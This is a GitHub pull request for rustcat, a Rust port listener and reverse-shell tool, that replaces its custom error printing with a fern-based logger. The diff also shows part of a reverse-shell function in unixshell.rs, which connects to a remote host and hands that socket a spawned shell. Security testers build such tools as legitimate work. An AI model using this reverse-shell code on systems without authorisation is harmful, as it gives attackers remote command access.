Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Implement a logger #43

Merged
merged 1 commit into from
Aug 13, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
29 changes: 26 additions & 3 deletions Cargo.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

8 changes: 5 additions & 3 deletions Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -2,8 +2,8 @@
name = "rustcat"
version = "2.1.0"
authors = ["robiot"]
description = "rustcat - The Modern Port Listener & Reverse Shell"
license = "MIT"
description = "The Modern Port Listener and Reverse Shell"
license = "GPL-3.0"
repository = "https://github.com/robiot/rustcat"
edition = "2021"

Expand All @@ -12,9 +12,11 @@ name = "rcat"
path = "src/main.rs"

[dependencies]
clap = {version = "3.2.17", features = ["derive"]}
clap = { version = "3.2.17", features = ["derive"] }
colored = "2.0.0"
rustyline = "10.0.0"
log = "0.4.17"
fern = { version = "0.6.1", features = ["colored"] }

[target.'cfg(unix)'.dependencies]
termios = "0.3"
Expand Down
3 changes: 3 additions & 0 deletions src/input.rs
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,9 @@ use clap::{Parser, Subcommand};
pub struct Opts {
#[clap(subcommand)]
pub command: Command,

// #[clap(short, long)]
// verbose: bool,
}

#[derive(Subcommand, Debug)]
Expand Down
21 changes: 8 additions & 13 deletions src/listener/mod.rs
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,6 @@ Name: listener.rs
Description: Listens on given arguments.
*/

use crate::utils::print_error;
use colored::Colorize;
use rustyline;
use rustyline::error::ReadlineError;
Expand Down Expand Up @@ -32,18 +31,14 @@ pub enum Mode {
LocalInteractive,
}

fn print_started_listen(opts: &Opts) {
println!("Listening on {}:{}", opts.host.green(), opts.port.cyan());
}

fn print_connection_recieved() {
println!("{} Connection Recived", "[+]".green());
log::info!("Connection Recived");
}

// It will complain on unix systems without this lint rule.
#[allow(dead_code)]
fn print_feature_not_supported() {
print_error("This feature is not supported on your platform");
log::error!("This feature is not supported on your platform");
}

fn pipe_thread<R, W>(mut r: R, mut w: W) -> JoinHandle<()>
Expand All @@ -57,19 +52,19 @@ where
loop {
match r.read(&mut buffer) {
Ok(0) => {
println!("\n{} Connection lost", "[-]".red());
log::warn!("Connection lost");

exit(0);
}
Ok(len) => {
if let Err(err) = w.write_all(&buffer[..len]) {
print_error(err);
log::error!("{}", err);

exit(1);
}
}
Err(err) => {
print_error(err);
log::error!("{}", err);

exit(1);
}
Expand Down Expand Up @@ -104,7 +99,7 @@ fn listen_tcp_normal(stream: TcpStream, opts: &Opts) -> Result<()> {
pub fn listen(opts: &Opts) -> rustyline::Result<()> {
let listener = TcpListener::bind(format!("{}:{}", opts.host, opts.port))?;

if opts.block_signals {
if opts.block_signals {
#[cfg(unix)]
{
Signals::new(&[consts::SIGINT])?;
Expand All @@ -116,7 +111,7 @@ pub fn listen(opts: &Opts) -> rustyline::Result<()> {
}
}

print_started_listen(opts);
log::info!("Listening on {}:{}", opts.host.green(), opts.port.cyan());

let (mut stream, _) = listener.accept()?;
match &opts.mode {
Expand Down Expand Up @@ -166,7 +161,7 @@ fn readline_decorator(mut f: impl FnMut(String)) -> rustyline::Result<()> {
Err(err) => match err {
ReadlineError::Interrupted | ReadlineError::Eof => exit(0),
err => {
print_error(err);
log::error!("{}", err);

exit(1);
}
Expand Down
49 changes: 37 additions & 12 deletions src/main.rs
Original file line number Diff line number Diff line change
@@ -1,9 +1,10 @@
use clap::Parser;
use fern::colors::{Color, ColoredLevelConfig};

mod input;
mod listener;
mod utils;
use utils::print_error;

// use colored::Colorize;

#[cfg(unix)]
mod unixshell;
Expand All @@ -21,6 +22,30 @@ fn host_from_opts(host: Vec<String>) -> Result<(String, String), String> {
}

fn main() {
// Configure logger
if let Err(err) = fern::Dispatch::new()
.format(|out, message, record| {
let colors = ColoredLevelConfig::new()
.warn(Color::Yellow)
.info(Color::BrightGreen)
.error(Color::Red);

out.finish(format_args!(
"{}{} {}",
colors.color(record.level()).to_string().to_lowercase(), // Hardcoded red .red().bold()
":",
message
))
})
// .level(log::LevelFilter::Error) // For if verbose mode is implemented
.chain(std::io::stdout())
.apply()
{
println!("Failed to initialize logger: {}", { err });

return;
}

let opts = input::Opts::parse();

match opts.command {
Expand All @@ -34,7 +59,7 @@ fn main() {
let (host, port) = match host_from_opts(host) {
Ok(value) => value,
Err(err) => {
print_error(err);
log::error!("{}", err);

return;
}
Expand All @@ -55,7 +80,7 @@ fn main() {
};

if let Err(err) = listener::listen(&opts) {
print_error(err);
log::error!("{}", err);

return;
};
Expand All @@ -64,23 +89,23 @@ fn main() {
let (host, port) = match host_from_opts(host) {
Ok(value) => value,
Err(err) => {
print_error(err);
log::error!("{}", err);

return;
}
};

// Block usage on windows
#[cfg(windows)]
{
print_error("This feature is not supported for windows");
#[cfg(unix)]
if let Err(err) = unixshell::shell(host, port, shell) {
log::error!("{}", err);

return;
}

#[cfg(unix)]
if let Err(err) = unixshell::shell(host, port, shell) {
print_error(err);
// Block usage on other operating systems
#[cfg(not(unix))]
{
log::error!("This feature is not supported on your platform");

return;
}
Expand Down
6 changes: 3 additions & 3 deletions src/unixshell.rs
Original file line number Diff line number Diff line change
Expand Up @@ -9,8 +9,8 @@ use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

/* Open A Reverse Shell */
pub fn shell(ip: String, port: String, shell: String) -> Result<()> {
let sock = TcpStream::connect(format!("{}:{}", ip, port))?;
pub fn shell(host: String, port: String, shell: String) -> Result<()> {
let sock = TcpStream::connect(format!("{}:{}", host, port))?;
let fd = sock.as_raw_fd();

// Open shell
Expand All @@ -22,7 +22,7 @@ pub fn shell(ip: String, port: String, shell: String) -> Result<()> {
.spawn()?
.wait()?;

println!("Shell exited");
log::warn!("Shell exited");

Ok(())
}
10 changes: 0 additions & 10 deletions src/utils.rs

This file was deleted.